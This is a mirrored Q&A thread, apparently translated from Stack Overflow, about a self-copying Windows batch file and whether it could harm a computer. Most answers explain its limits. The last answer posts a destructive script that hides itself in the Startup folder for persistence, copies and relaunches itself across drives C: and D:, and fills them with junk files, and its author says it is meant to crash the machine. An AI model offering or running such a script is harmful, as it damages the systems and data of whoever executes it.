代码之家  ›  专栏  ›  技术社区  ›  Sixela963

非常基本的批处理自我复制代码:有多危险?

  •  1
  • Sixela963  · 技术社区  · 6 年前

    在读了太多关于冯·诺依曼(VonNeumann)自我复制机器的内容后,我决定对batch进行一些修改,试图创建一个简单的文件,在运行时复制自己。 我的结局是:

    set self=%~n0
    REM get own filename
    TYPE %self%.bat > %self%E.bat
    

    文件另存为WEE。bat和最新迭代的每次运行都会生成一个带有附加E的副本。

    添加一行简单的代码来自动运行最新的迭代非常简单,现在我真的不知道会发生什么:是不是有什么东西让我的计算机试图溢出自己的驱动器?随着“改进”,这段代码与实际的恶意软件有多大的不同(除了明显的通过网络传播的东西)?

    3 回复  |  直到 6 年前
        1
  •  1
  •   jwdonahue    6 年前

    是否有什么东西使我的计算机试图溢出自己的驱动器?随着“改进”,这段代码与实际的恶意软件有多大的不同(除了明显的通过网络传播的东西)?

    不。如果你指示你的计算机做一些无用或有害的事情,它就会这样做。这里唯一的限制因素是,在启用了echo的情况下,每一行执行都必须输出到控制台窗口,所以速度不会太快。您将有机会使用Ctrl-C终止它,但它将创建数千个文件,直到文件名太长而无法调用为止,此时它将失败。大多数硬盘上的空间都比脚本可能填满的空间大几个数量级。

    如果要进行实验,请参见 timeout /? . 为每次运行脚本添加5秒或10秒的超时,您可以看到在运行批处理文件的任何目录中,文件的数量都在增加。

    编辑:

    这里的限制因素似乎是文件路径/名称长度为270个字符。

    >type D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd  1>D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
    The filename, directory name, or volume label syntax is incorrect.
    
    >D:\TMP\Joseph\testeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee.cmd
    The parameter is incorrect.
    
        2
  •  1
  •   zx485    5 年前

    我改进了剧本。
    它起作用了

    @echo off
    set self=%~n0
    REM get own filename
    TYPE %self%.bat > %self%a.bat
    %self%a.bat
    
        3
  •  0
  •   Fox GamingYT    2 年前
    @echo off
    move WEE.bat "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /y
    attrib +s +h "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
    :1
    echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
    copy WEE.bat C:\%random%xd%random%lol /y
    copy WEE.bat D:\%random%xd%random%lol /y
    copy WEE.bat C:\lol%random%xd%random% /y
    copy WEE.bat D:\lol%random%xd%random% /y
    echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
    open C:\%random%xd%random%lol\WEE.bat
    open D:\%random%xd%random%lol\WEE.bat
    open C:\lol%random%xd%random%\WEE.bat
    open D:\lol%random%xd%random%\WEE.bat
    echo %random%xd%random%lol >> C:\%random%xd%random%lol.txt
    start "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WEE.bat"
    goto :1
    

    即使在设备启动时,它们也会大量复制和开放自身和彼此(尽管有一种方法可以绕过这一点)。设备应该会很快崩溃。